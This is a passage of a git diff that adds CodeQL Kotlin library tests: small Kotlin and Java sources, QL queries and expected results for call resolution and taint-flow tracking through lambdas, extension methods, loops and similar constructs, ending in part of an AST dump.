@@ -0,0 +1,8 @@
+| dc.kt:0:0:0:0 | hashCode(...) | Arrays.hashCode |
+| dc.kt:0:0:0:0 | hashCode(...) | Arrays.hashCode |
+| dc.kt:0:0:0:0 | new ProtoMapValue(...) | ProtoMapValue.ProtoMapValue |
+| dc.kt:0:0:0:0 | plus(...) | Int.plus |
+| dc.kt:0:0:0:0 | times(...) | Int.times |
+| dc.kt:0:0:0:0 | toString(...) | Arrays.toString |
+| dc.kt:0:0:0:0 | toString(...) | Arrays.toString |
+| dc.kt:1:1:1:71 | super(...) | Object.Object |
diff --git a/java/ql/test/kotlin/library-tests/data-classes/callees.ql b/java/ql/test/kotlin/library-tests/data-classes/callees.ql
new file mode 100644
index 00000000000..f310f317686
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/data-classes/callees.ql
@@ -0,0 +1,5 @@
+import java
+
+from Call c
+where c.getEnclosingCallable().fromSource()
+select c, c.getCallee().getQualifiedName()
diff --git a/java/ql/test/kotlin/library-tests/data-classes/dc.kt b/java/ql/test/kotlin/library-tests/data-classes/dc.kt
new file mode 100644
index 00000000000..0958139f0ab
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/data-classes/dc.kt
@@ -0,0 +1 @@
+data class ProtoMapValue(val bytes: ByteArray, val strs: Array<String>)
diff --git a/java/ql/test/kotlin/library-tests/dataflow/extensionMethod/test.expected b/java/ql/test/kotlin/library-tests/dataflow/extensionMethod/test.expected
new file mode 100644
index 00000000000..fe97d1f3141
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/extensionMethod/test.expected
@@ -0,0 +1,6 @@
+| test.kt:20:29:20:31 | new C(...) | test.kt:23:22:23:28 | self1(...) |
+| test.kt:20:29:20:31 | new C(...) | test.kt:26:22:26:28 | self2(...) |
+| test.kt:20:29:20:31 | new C(...) | test.kt:29:18:29:29 | fn1(...) |
+| test.kt:20:29:20:31 | new C(...) | test.kt:32:18:32:29 | fn2(...) |
+| test.kt:20:29:20:31 | new C(...) | test.kt:35:18:35:31 | call1(...) |
+| test.kt:20:29:20:31 | new C(...) | test.kt:38:22:38:28 | call2(...) |
diff --git a/java/ql/test/kotlin/library-tests/dataflow/extensionMethod/test.kt b/java/ql/test/kotlin/library-tests/dataflow/extensionMethod/test.kt
new file mode 100644
index 00000000000..ff4404a41c7
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/extensionMethod/test.kt
@@ -0,0 +1,40 @@
+class C {
+    fun self1() = this
+    fun fn1(o: C) = o
+
+    fun Int.fn3(o: C) = o
+    fun Int.fn4() = this@C
+
+    fun call1(o: C) = 1.fn3(o)
+    fun call2() = 1.fn4()
+}
+
+fun C.self2() = this
+fun C.fn2(o: C) = o
+
+class Test {
+    fun <T> taint(t: T) = t
+    fun sink(a: Any) {}
+
+    fun test(s1: String) {
+        val tainted = taint(C())
+
+        sink(C().self1())
+        sink(tainted.self1())
+
+        sink(C().self2())
+        sink(tainted.self2())
+
+        sink(C().fn1(C()))
+        sink(C().fn1(tainted))
+
+        sink(C().fn2(C()))
+        sink(C().fn2(tainted))
+
+        sink(C().call1(C()))
+        sink(C().call1(tainted))
+
+        sink(C().call2())
+        sink(tainted.call2())
+    }
+}
diff --git a/java/ql/test/kotlin/library-tests/dataflow/extensionMethod/test.ql b/java/ql/test/kotlin/library-tests/dataflow/extensionMethod/test.ql
new file mode 100644
index 00000000000..47f3ce17767
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/extensionMethod/test.ql
@@ -0,0 +1,19 @@
+import java
+import semmle.code.java.dataflow.TaintTracking
+import semmle.code.java.dataflow.ExternalFlow
+
+class Conf extends TaintTracking::Configuration {
+  Conf() { this = "qltest:extension-method" }
+
+  override predicate isSource(DataFlow::Node n) {
+    n.asExpr().(Argument).getCall().getCallee().hasName("taint")
+  }
+
+  override predicate isSink(DataFlow::Node n) {
+    n.asExpr().(Argument).getCall().getCallee().hasName("sink")
+  }
+}
+
+from DataFlow::Node src, DataFlow::Node sink, Conf conf
+where conf.hasFlow(src, sink)
+select src, sink
diff --git a/java/ql/test/kotlin/library-tests/dataflow/foreach/C1.java b/java/ql/test/kotlin/library-tests/dataflow/foreach/C1.java
new file mode 100644
index 00000000000..164f9bd1795
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/foreach/C1.java
@@ -0,0 +1,22 @@
+public final class C1 {
+   public final String taint(String t) {
+      return t;
+   }
+
+   public final void sink(Object a) {
+   }
+
+   public final void test() {
+      String[] l = new String[]{this.taint("a"), ""};
+      this.sink(l);
+      this.sink(l[0]);
+
+      for(int i = 0; i < l.length; i++) {
+         this.sink(l[i]);
+      }
+
+      for (String s : l) {
+         this.sink(s);
+      }
+   }
+}
diff --git a/java/ql/test/kotlin/library-tests/dataflow/foreach/C2.kt b/java/ql/test/kotlin/library-tests/dataflow/foreach/C2.kt
new file mode 100644
index 00000000000..7a98abaa110
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/foreach/C2.kt
@@ -0,0 +1,18 @@
+class C2 {
+    fun taint(t: String): String {
+        return t
+    }
+
+    fun sink(a: Any?) {}
+    fun test() {
+        val l = arrayOf(taint("a"), "")
+        sink(l)
+        sink(l[0])
+        for (i in l.indices) {
+            sink(l[i])
+        }
+        for (s in l) {
+            sink(s)
+        }
+    }
+}
diff --git a/java/ql/test/kotlin/library-tests/dataflow/foreach/test.expected b/java/ql/test/kotlin/library-tests/dataflow/foreach/test.expected
new file mode 100644
index 00000000000..f204c12ebe2
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/foreach/test.expected
@@ -0,0 +1,8 @@
+| C1.java:10:44:10:46 | "a" | C1.java:11:17:11:17 | l |
+| C1.java:10:44:10:46 | "a" | C1.java:12:17:12:20 | ...[...] |
+| C1.java:10:44:10:46 | "a" | C1.java:15:20:15:23 | ...[...] |
+| C1.java:10:44:10:46 | "a" | C1.java:19:20:19:20 | s |
+| C2.kt:8:32:8:32 | a | C2.kt:9:14:9:14 | l |
+| C2.kt:8:32:8:32 | a | C2.kt:10:14:10:17 | ...[...] |
+| C2.kt:8:32:8:32 | a | C2.kt:12:18:12:21 | ...[...] |
+| C2.kt:8:32:8:32 | a | C2.kt:15:18:15:18 | s |
diff --git a/java/ql/test/kotlin/library-tests/dataflow/foreach/test.ql b/java/ql/test/kotlin/library-tests/dataflow/foreach/test.ql
new file mode 100644
index 00000000000..c14c0ca83d2
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/foreach/test.ql
@@ -0,0 +1,19 @@
+import java
+import semmle.code.java.dataflow.TaintTracking
+import semmle.code.java.dataflow.ExternalFlow
+
+class Conf extends TaintTracking::Configuration {
+  Conf() { this = "qltest:foreach-array-iterator" }
+
+  override predicate isSource(DataFlow::Node n) {
+    n.asExpr().(Argument).getCall().getCallee().hasName("taint")
+  }
+
+  override predicate isSink(DataFlow::Node n) {
+    n.asExpr().(Argument).getCall().getCallee().hasName("sink")
+  }
+}
+
+from DataFlow::Node src, DataFlow::Node sink, Conf conf
+where conf.hasFlow(src, sink)
+select src, sink
diff --git a/java/ql/test/kotlin/library-tests/dataflow/func/functionReference.kt b/java/ql/test/kotlin/library-tests/dataflow/func/functionReference.kt
new file mode 100644
index 00000000000..4329c73f0b1
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/func/functionReference.kt
@@ -0,0 +1,19 @@
+class FunctionReference {
+
+    fun fn1(s: String) = s
+
+    fun test() {
+        fun fn2(s: String) = s
+
+        Helper.sink(Processor().process(this::fn1, Helper.taint()))
+        Helper.sink(Processor().process(FunctionReference::fn1, this, Helper.taint()))
+        Helper.sink(Processor().process(this::fn1, Helper.notaint()))
+        Helper.sink(Processor().process(::fn2, Helper.taint()))
+        Helper.sink(Processor().process(::fn2, Helper.notaint()))
+
+        Helper.sink(Processor().process(this::prop))
+    }
+
+    val prop: String
+        get() = Helper.taint()
+}
diff --git a/java/ql/test/kotlin/library-tests/dataflow/func/lambda.kt b/java/ql/test/kotlin/library-tests/dataflow/func/lambda.kt
new file mode 100644
index 00000000000..5d53bb2dcdb
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/func/lambda.kt
@@ -0,0 +1,32 @@
+class Lambda {
+    fun test() {
+        Helper.sink(Processor().process({ it: String -> Helper.notaint() }, ""))
+        Helper.sink(Processor().process({ it: String -> Helper.taint() }, ""))
+        Helper.sink(Processor().process({ i -> i }, Helper.taint()))
+        Helper.sink(Processor().process(fun (i: String) = i, Helper.taint()))
+
+        Helper.sink(Processor().processExt({ i -> i }, Helper.taint(), Helper.notaint()))
+        Helper.sink(Processor().processExt({ i -> i }, Helper.notaint(), Helper.taint()))
+        Helper.sink(Processor().processExt({ i -> this }, Helper.taint(), Helper.notaint()))
+        Helper.sink(Processor().processExt({ i -> this }, Helper.notaint(), Helper.taint()))
+
+        Helper.sink(Processor().process({ i0,i1,i2,i3,i4,i5,i6,i7,i8,i9,i10,i11,i12,i13,i14,i15,i16,i17,i18,i19,i20,i21,i22,i23 -> i0 }, Helper.taint(), Helper.notaint()))
+        Helper.sink(Processor().process({ i0,i1,i2,i3,i4,i5,i6,i7,i8,i9,i10,i11,i12,i13,i14,i15,i16,i17,i18,i19,i20,i21,i22,i23 -> i0 }, Helper.notaint(), Helper.taint())) // False positive
+    }
+}
+
+class ManualBigLambda {
+    fun invoke(s0: String, s1: String): String {
+        return s0
+    }
+    fun invoke(a: Array<Any?>): String {
+        return invoke(a[0] as String, a[1] as String)
+    }
+
+    fun call() {
+        Helper.sink(invoke(Helper.taint(), Helper.notaint()))
+        Helper.sink(invoke(Helper.notaint(), Helper.taint()))
+        Helper.sink(invoke(arrayOf(Helper.taint(), Helper.notaint())))
+        Helper.sink(invoke(arrayOf(Helper.notaint(), Helper.taint())))      // False positive
+    }
+}
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/dataflow/func/localFunction.kt b/java/ql/test/kotlin/library-tests/dataflow/func/localFunction.kt
new file mode 100644
index 00000000000..1318e80701e
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/func/localFunction.kt
@@ -0,0 +1,9 @@
+class LocalFunction {
+    fun test() {
+        fun fn1() = Helper.taint()
+        fun fn2(s: String) = s
+
+        Helper.sink(fn1())
+        Helper.sink(fn2(Helper.taint()))
+    }
+}
diff --git a/java/ql/test/kotlin/library-tests/dataflow/func/samConversion.kt b/java/ql/test/kotlin/library-tests/dataflow/func/samConversion.kt
new file mode 100644
index 00000000000..26b2b817773
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/func/samConversion.kt
@@ -0,0 +1,13 @@
+fun interface Predicate {
+    fun go(s: String): String
+}
+
+class SamConversion {
+    fun test() {
+        val p1 = Predicate { Helper.taint() }
+        val p2 = Predicate { it -> it }
+
+        Helper.sink(p1.go(""))
+        Helper.sink(p1.go(Helper.taint()))
+    }
+}
diff --git a/java/ql/test/kotlin/library-tests/dataflow/func/test.expected b/java/ql/test/kotlin/library-tests/dataflow/func/test.expected
new file mode 100644
index 00000000000..17717c27037
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/func/test.expected
@@ -0,0 +1,18 @@
+| functionReference.kt:8:59:8:65 | taint(...) | functionReference.kt:8:33:8:66 | process(...) |
+| functionReference.kt:9:78:9:84 | taint(...) | functionReference.kt:9:33:9:85 | process(...) |
+| functionReference.kt:11:55:11:61 | taint(...) | functionReference.kt:11:33:11:62 | process(...) |
+| functionReference.kt:18:24:18:30 | taint(...) | functionReference.kt:14:33:14:51 | process(...) |
+| lambda.kt:4:64:4:70 | taint(...) | lambda.kt:4:33:4:77 | process(...) |
+| lambda.kt:5:60:5:66 | taint(...) | lambda.kt:5:33:5:67 | process(...) |
+| lambda.kt:6:69:6:75 | taint(...) | lambda.kt:6:33:6:76 | process(...) |
+| lambda.kt:9:81:9:87 | taint(...) | lambda.kt:9:33:9:88 | processExt(...) |
+| lambda.kt:10:66:10:72 | taint(...) | lambda.kt:10:33:10:91 | processExt(...) |
+| lambda.kt:13:145:13:151 | taint(...) | lambda.kt:13:33:13:170 | process(...) |
+| lambda.kt:14:163:14:169 | taint(...) | lambda.kt:14:33:14:170 | process(...) |
+| lambda.kt:27:35:27:41 | taint(...) | lambda.kt:27:21:27:60 | invoke(...) |
+| lambda.kt:29:43:29:49 | taint(...) | lambda.kt:29:21:29:69 | invoke(...) |
+| lambda.kt:30:61:30:67 | taint(...) | lambda.kt:30:21:30:69 | invoke(...) |
+| localFunction.kt:3:28:3:34 | taint(...) | localFunction.kt:6:21:6:25 | fn1(...) |
+| localFunction.kt:7:32:7:38 | taint(...) | localFunction.kt:7:21:7:39 | fn2(...) |
+| samConversion.kt:7:37:7:43 | taint(...) | samConversion.kt:10:24:10:29 | go(...) |
+| samConversion.kt:7:37:7:43 | taint(...) | samConversion.kt:11:24:11:41 | go(...) |
diff --git a/java/ql/test/kotlin/library-tests/dataflow/func/test.ql b/java/ql/test/kotlin/library-tests/dataflow/func/test.ql
new file mode 100644
index 00000000000..54971bbddbd
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/func/test.ql
@@ -0,0 +1,19 @@
+import java
+import semmle.code.java.dataflow.TaintTracking
+import semmle.code.java.dataflow.ExternalFlow
+
+class Conf extends TaintTracking::Configuration {
+  Conf() { this = "qltest:lambdaFlow" }
+
+  override predicate isSource(DataFlow::Node n) {
+    n.asExpr().(MethodAccess).getMethod().hasName("taint")
+  }
+
+  override predicate isSink(DataFlow::Node n) {
+    n.asExpr().(Argument).getCall().getCallee().hasName("sink")
+  }
+}
+
+from DataFlow::Node src, DataFlow::Node sink, Conf conf
+where conf.hasFlow(src, sink)
+select src, sink
diff --git a/java/ql/test/kotlin/library-tests/dataflow/func/util.kt b/java/ql/test/kotlin/library-tests/dataflow/func/util.kt
new file mode 100644
index 00000000000..f99a8eb361b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/func/util.kt
@@ -0,0 +1,31 @@
+class Processor {
+    fun <R1> process(f: () -> R1) : R1 {
+        return f()
+    }
+
+    fun <T, R2> process(f: (T) -> R2, arg: T) : R2 {
+        return f(arg)
+    }
+
+    fun <T0, T1, R3> process(f: (T0, T1) -> R3, arg0: T0, arg1: T1) : R3 {
+        return f(arg0, arg1)
+    }
+
+    fun <T, R4> process(
+        f: (T,T,T,T,T,T,T,T,T,T,T,T,T,T,T,T,T,T,T,T,T,T,T,T) -> R4,
+        a: T, b: T) : R4 {
+        return f(a,b,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a)
+    }
+
+    fun <T, R5> processExt(f: T.(T) -> R5, ext: T, arg: T) : R5 {
+        return ext.f(arg)
+    }
+}
+
+class Helper {
+    companion object {
+        fun taint(): String = "taint"
+        fun notaint(): String = "notaint"
+        fun sink(a: Any?) { }
+    }
+}
diff --git a/java/ql/test/kotlin/library-tests/dataflow/notnullexpr/NotNullExpr.kt b/java/ql/test/kotlin/library-tests/dataflow/notnullexpr/NotNullExpr.kt
new file mode 100644
index 00000000000..89f444d6496
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/notnullexpr/NotNullExpr.kt
@@ -0,0 +1,14 @@
+class NotNullExpr {
+  fun taint() = Uri()
+
+  fun sink(s: String) { }
+
+  fun bad() {
+    val s0 = taint()
+    sink(s0!!.getQueryParameter())
+  }
+}
+
+class Uri {
+    fun getQueryParameter() = "tainted"
+}
diff --git a/java/ql/test/kotlin/library-tests/dataflow/notnullexpr/test.expected b/java/ql/test/kotlin/library-tests/dataflow/notnullexpr/test.expected
new file mode 100644
index 00000000000..d8f6393b973
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/notnullexpr/test.expected
@@ -0,0 +1 @@
+| NotNullExpr.kt:7:14:7:20 | taint(...) | NotNullExpr.kt:8:15:8:33 | getQueryParameter(...) |
diff --git a/java/ql/test/kotlin/library-tests/dataflow/notnullexpr/test.ql b/java/ql/test/kotlin/library-tests/dataflow/notnullexpr/test.ql
new file mode 100644
index 00000000000..cbe6d8e9a61
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/notnullexpr/test.ql
@@ -0,0 +1,25 @@
+import java
+import semmle.code.java.dataflow.TaintTracking
+import semmle.code.java.dataflow.ExternalFlow
+
+class Step extends SummaryModelCsv {
+  override predicate row(string row) {
+    row = ";Uri;false;getQueryParameter;;;Argument[-1];ReturnValue;taint"
+  }
+}
+
+class Conf extends TaintTracking::Configuration {
+  Conf() { this = "qltest:notNullExprFlow" }
+
+  override predicate isSource(DataFlow::Node n) {
+    n.asExpr().(MethodAccess).getMethod().hasName("taint")
+  }
+
+  override predicate isSink(DataFlow::Node n) {
+    n.asExpr().(Argument).getCall().getCallee().hasName("sink")
+  }
+}
+
+from DataFlow::Node src, DataFlow::Node sink, Conf conf
+where conf.hasFlow(src, sink)
+select src, sink
diff --git a/java/ql/test/kotlin/library-tests/dataflow/stmtexpr/StmtExpr.kt b/java/ql/test/kotlin/library-tests/dataflow/stmtexpr/StmtExpr.kt
new file mode 100644
index 00000000000..6fe4742ff93
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/stmtexpr/StmtExpr.kt
@@ -0,0 +1,16 @@
+class StmtExpr {
+    fun test() {
+        val t = object : Source {
+            override fun a() {
+            }
+        }
+        sink(t) // $ hasValueFlow
+    }
+
+    fun sink(t : Source) {}
+
+}
+
+interface Source {
+    fun a()
+}
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/dataflow/stmtexpr/test.expected b/java/ql/test/kotlin/library-tests/dataflow/stmtexpr/test.expected
new file mode 100644
index 00000000000..f3e75a4522a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/stmtexpr/test.expected
@@ -0,0 +1 @@
+| StmtExpr.kt:3:17:6:9 | new (...) | StmtExpr.kt:7:14:7:14 | t |
diff --git a/java/ql/test/kotlin/library-tests/dataflow/stmtexpr/test.ql b/java/ql/test/kotlin/library-tests/dataflow/stmtexpr/test.ql
new file mode 100644
index 00000000000..dbda8992f34
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/stmtexpr/test.ql
@@ -0,0 +1,18 @@
+import java
+import semmle.code.java.dataflow.DataFlow
+
+class Conf extends DataFlow::Configuration {
+  Conf() { this = "qltest:exprStmtFlow" }
+
+  override predicate isSource(DataFlow::Node n) {
+    n.asExpr().(ClassInstanceExpr).getType().(RefType).getASupertype*().hasName("Source")
+  }
+
+  override predicate isSink(DataFlow::Node n) {
+    n.asExpr().(Argument).getCall().getCallee().hasName("sink")
+  }
+}
+
+from DataFlow::Node src, DataFlow::Node sink, Conf conf
+where conf.hasFlow(src, sink)
+select src, sink
diff --git a/java/ql/test/kotlin/library-tests/dataflow/taint/StringTemplate.kt b/java/ql/test/kotlin/library-tests/dataflow/taint/StringTemplate.kt
new file mode 100644
index 00000000000..5a65e5081cb
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/taint/StringTemplate.kt
@@ -0,0 +1,11 @@
+class StringTemplateTests {
+  fun taint() = "tainted"
+
+  fun  sink(s: String) { }
+
+  fun bad() {
+    val s0 = taint()
+    val s1 = "test $s0"
+    sink(s1)
+  }
+}
diff --git a/java/ql/test/kotlin/library-tests/dataflow/taint/test.expected b/java/ql/test/kotlin/library-tests/dataflow/taint/test.expected
new file mode 100644
index 00000000000..5b2dd366bad
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/taint/test.expected
@@ -0,0 +1 @@
+| StringTemplate.kt:7:14:7:20 | taint(...) | StringTemplate.kt:9:10:9:11 | s1 |
diff --git a/java/ql/test/kotlin/library-tests/dataflow/taint/test.ql b/java/ql/test/kotlin/library-tests/dataflow/taint/test.ql
new file mode 100644
index 00000000000..ec65598757f
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/taint/test.ql
@@ -0,0 +1,18 @@
+import java
+import semmle.code.java.dataflow.TaintTracking
+
+class Conf extends TaintTracking::Configuration {
+  Conf() { this = "kttaintconf" }
+
+  override predicate isSource(DataFlow::Node n) {
+    n.asExpr().(MethodAccess).getMethod().hasName("taint")
+  }
+
+  override predicate isSink(DataFlow::Node n) {
+    n.asExpr().(Argument).getCall().getCallee().hasName("sink")
+  }
+}
+
+from DataFlow::Node src, DataFlow::Node sink, Conf conf
+where conf.hasFlow(src, sink)
+select src, sink
diff --git a/java/ql/test/kotlin/library-tests/dataflow/whenexpr/WhenExpr.kt b/java/ql/test/kotlin/library-tests/dataflow/whenexpr/WhenExpr.kt
new file mode 100644
index 00000000000..c7144d2a307
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/whenexpr/WhenExpr.kt
@@ -0,0 +1,14 @@
+class WhenExpr {
+  fun taint() = Uri()
+
+  fun sink(s: String) { }
+
+  fun bad() {
+    val s0 = taint()
+    sink(s0?.getQueryParameter())
+  }
+}
+
+class Uri {
+    fun getQueryParameter() = "tainted"
+}
diff --git a/java/ql/test/kotlin/library-tests/dataflow/whenexpr/test.expected b/java/ql/test/kotlin/library-tests/dataflow/whenexpr/test.expected
new file mode 100644
index 00000000000..3423d46014b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/whenexpr/test.expected
@@ -0,0 +1 @@
+| WhenExpr.kt:7:14:7:20 | taint(...) | WhenExpr.kt:8:14:8:32 | <Stmt> |
diff --git a/java/ql/test/kotlin/library-tests/dataflow/whenexpr/test.ql b/java/ql/test/kotlin/library-tests/dataflow/whenexpr/test.ql
new file mode 100644
index 00000000000..cbe6d8e9a61
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/dataflow/whenexpr/test.ql
@@ -0,0 +1,25 @@
+import java
+import semmle.code.java.dataflow.TaintTracking
+import semmle.code.java.dataflow.ExternalFlow
+
+class Step extends SummaryModelCsv {
+  override predicate row(string row) {
+    row = ";Uri;false;getQueryParameter;;;Argument[-1];ReturnValue;taint"
+  }
+}
+
+class Conf extends TaintTracking::Configuration {
+  Conf() { this = "qltest:notNullExprFlow" }
+
+  override predicate isSource(DataFlow::Node n) {
+    n.asExpr().(MethodAccess).getMethod().hasName("taint")
+  }
+
+  override predicate isSink(DataFlow::Node n) {
+    n.asExpr().(Argument).getCall().getCallee().hasName("sink")
+  }
+}
+
+from DataFlow::Node src, DataFlow::Node sink, Conf conf
+where conf.hasFlow(src, sink)
+select src, sink
diff --git a/java/ql/test/kotlin/library-tests/empty/Empty.kt b/java/ql/test/kotlin/library-tests/empty/Empty.kt
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/kotlin/library-tests/empty/elements.expected b/java/ql/test/kotlin/library-tests/empty/elements.expected
new file mode 100644
index 00000000000..d4bd7ad82ce
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/empty/elements.expected
@@ -0,0 +1,2 @@
+| Empty.kt:0:0:0:0 | Empty | CompilationUnit |
+| file://:0:0:0:0 |  | Package |
diff --git a/java/ql/test/kotlin/library-tests/empty/elements.ql b/java/ql/test/kotlin/library-tests/empty/elements.ql
new file mode 100644
index 00000000000..3b6a6e1b982
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/empty/elements.ql
@@ -0,0 +1,4 @@
+import java
+
+from Element e
+select e, e.getPrimaryQlClasses()
diff --git a/java/ql/test/kotlin/library-tests/exprs/PrintAst.expected b/java/ql/test/kotlin/library-tests/exprs/PrintAst.expected
new file mode 100644
index 00000000000..4a93ee5df3b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/PrintAst.expected
@@ -0,0 +1,5901 @@
+delegatedProperties.kt:
+#    0| [CompilationUnit] delegatedProperties
+#    0|   1: [Class] DelegatedPropertiesKt
+#   60|     2: [Method] getTopLevelInt
+#   60|       3: [TypeAccess] int
+#   60|       5: [BlockStmt] { ... }
+#   60|         0: [ReturnStmt] return ...
+#   60|           0: [VarAccess] DelegatedPropertiesKt.topLevelInt
+#   60|             -1: [TypeAccess] DelegatedPropertiesKt
+#   60|     2: [Method] setTopLevelInt
+#   60|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   60|         0: [Parameter] <set-?>
+#   60|           0: [TypeAccess] int
+#   60|       5: [BlockStmt] { ... }
+#   60|         0: [ExprStmt] <Expr>;
+#   60|           0: [AssignExpr] ...=...
+#   60|             0: [VarAccess] DelegatedPropertiesKt.topLevelInt
+#   60|               -1: [TypeAccess] DelegatedPropertiesKt
+#   60|             1: [VarAccess] <set-?>
+#   60|     2: [FieldDeclaration] int topLevelInt;
+#   60|       -1: [TypeAccess] int
+#   60|       0: [IntegerLiteral] 0
+#   87|     5: [ExtensionMethod] getExtDelegated
+#   87|       3: [TypeAccess] int
+#-----|       4: (Parameters)
+#   87|         0: [Parameter] <this>
+#   87|           0: [TypeAccess] MyClass
+#   87|       5: [BlockStmt] { ... }
+#   87|         0: [ReturnStmt] return ...
+#   87|           0: [MethodAccess] getValue(...)
+#   87|             -2: [TypeAccess] Integer
+#   87|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   87|             0: [VarAccess] DelegatedPropertiesKt.extDelegated$delegate
+#   87|               -1: [TypeAccess] DelegatedPropertiesKt
+#    1|             1: [ExtensionReceiverAccess] this
+#   87|             2: [PropertyRefExpr] ...::...
+#   87|               -4: [AnonymousClass] new KMutableProperty1<MyClass,Integer>(...) { ... }
+#   87|                 1: [Constructor] 
+#   87|                   5: [BlockStmt] { ... }
+#   87|                     0: [SuperConstructorInvocationStmt] super(...)
+#   87|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   87|                     0: [Parameter] a0
+#   87|                   5: [BlockStmt] { ... }
+#   87|                     0: [ReturnStmt] return ...
+#   87|                       0: [MethodAccess] getExtDelegated(...)
+#   87|                         -1: [TypeAccess] DelegatedPropertiesKt
+#   87|                         0: [VarAccess] a0
+#   87|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   87|                     0: [Parameter] a0
+#   87|                   5: [BlockStmt] { ... }
+#   87|                     0: [ReturnStmt] return ...
+#   87|                       0: [MethodAccess] get(...)
+#   87|                         -1: [ThisAccess] this
+#   87|                         0: [VarAccess] a0
+#   87|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   87|                     0: [Parameter] a0
+#   87|                     1: [Parameter] a1
+#   87|                   5: [BlockStmt] { ... }
+#   87|                     0: [ReturnStmt] return ...
+#   87|                       0: [MethodAccess] setExtDelegated(...)
+#   87|                         -1: [TypeAccess] DelegatedPropertiesKt
+#   87|                         0: [VarAccess] a0
+#   87|                         1: [VarAccess] a1
+#   87|               -3: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   87|                 0: [TypeAccess] MyClass
+#   87|                 1: [TypeAccess] Integer
+#   87|     5: [ExtensionMethod] setExtDelegated
+#   87|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   87|         0: [Parameter] <this>
+#   87|           0: [TypeAccess] MyClass
+#   87|         1: [Parameter] <set-?>
+#   87|           0: [TypeAccess] int
+#   87|       5: [BlockStmt] { ... }
+#   87|         0: [ReturnStmt] return ...
+#   87|           0: [MethodAccess] setValue(...)
+#   87|             -2: [TypeAccess] Integer
+#   87|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   87|             0: [VarAccess] DelegatedPropertiesKt.extDelegated$delegate
+#   87|               -1: [TypeAccess] DelegatedPropertiesKt
+#    1|             1: [ExtensionReceiverAccess] this
+#   87|             2: [PropertyRefExpr] ...::...
+#   87|               -4: [AnonymousClass] new KMutableProperty1<MyClass,Integer>(...) { ... }
+#   87|                 1: [Constructor] 
+#   87|                   5: [BlockStmt] { ... }
+#   87|                     0: [SuperConstructorInvocationStmt] super(...)
+#   87|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   87|                     0: [Parameter] a0
+#   87|                   5: [BlockStmt] { ... }
+#   87|                     0: [ReturnStmt] return ...
+#   87|                       0: [MethodAccess] getExtDelegated(...)
+#   87|                         -1: [TypeAccess] DelegatedPropertiesKt
+#   87|                         0: [VarAccess] a0
+#   87|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   87|                     0: [Parameter] a0
+#   87|                   5: [BlockStmt] { ... }
+#   87|                     0: [ReturnStmt] return ...
+#   87|                       0: [MethodAccess] get(...)
+#   87|                         -1: [ThisAccess] this
+#   87|                         0: [VarAccess] a0
+#   87|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   87|                     0: [Parameter] a0
+#   87|                     1: [Parameter] a1
+#   87|                   5: [BlockStmt] { ... }
+#   87|                     0: [ReturnStmt] return ...
+#   87|                       0: [MethodAccess] setExtDelegated(...)
+#   87|                         -1: [TypeAccess] DelegatedPropertiesKt
+#   87|                         0: [VarAccess] a0
+#   87|                         1: [VarAccess] a1
+#   87|               -3: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   87|                 0: [TypeAccess] MyClass
+#   87|                 1: [TypeAccess] Integer
+#   87|             3: [VarAccess] <set-?>
+#   87|     5: [FieldDeclaration] KMutableProperty0<Integer> extDelegated$delegate;
+#   87|       -1: [TypeAccess] KMutableProperty0<Integer>
+#   87|         0: [TypeAccess] Integer
+#   87|       0: [PropertyRefExpr] ...::...
+#   87|         -4: [AnonymousClass] new KMutableProperty0<Integer>(...) { ... }
+#   87|           1: [Constructor] 
+#   87|             5: [BlockStmt] { ... }
+#   87|               0: [SuperConstructorInvocationStmt] super(...)
+#   87|           1: [Method] get
+#   87|             5: [BlockStmt] { ... }
+#   87|               0: [ReturnStmt] return ...
+#   87|                 0: [MethodAccess] getTopLevelInt(...)
+#   87|                   -1: [TypeAccess] DelegatedPropertiesKt
+#   87|           1: [Method] invoke
